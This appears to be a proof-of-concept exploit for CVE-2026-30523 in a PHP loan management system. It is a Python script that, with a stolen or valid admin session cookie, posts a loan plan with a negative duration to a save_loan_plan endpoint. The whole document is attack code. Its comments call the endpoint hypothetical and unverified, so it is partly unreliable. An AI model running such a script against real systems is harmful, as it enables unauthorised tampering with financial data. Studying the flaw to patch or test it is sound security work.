CVE-2026-30523 Loan Management System 业务逻辑漏洞

# PoC for CVE-2026-30523: Negative Loan Plan Duration # This script requires valid administrator session cookies. import requests def exploit_negative_months(target_url, session_cookie): """ Attempts to create a loan plan with a negative duration. """ headers = { "Cookie": f"PHPSESSID={session_cookie}", # Adjust cookie name based on app "Content-Type": "application/x-www-form-urlencoded" } # The endpoint might be '/admin/loan_plan.php' or similar, needs verification endpoint = f"{target_url}/classes/Master.php?f=save_loan_plan" # Hypothetical endpoint payload = { "plan_name": "Malicious Plan", "months": -12, # Vulnerable parameter: negative integer "interest_rate": 5 } try: response = requests.post(endpoint, data=payload, headers=headers) if response.status_code == 200 and "success" in response.text.lower(): return "[+] PoC successful: Negative loan plan created." else: return f"[-] PoC failed or undetermined. Response: {response.text[:200]}" except Exception as e: return f"[!] Error: {str(e)}" # Usage # target = "http://localhost/loan_system" # session_id = "admin_session_id_here" # print(exploit_negative_months(target, session_id))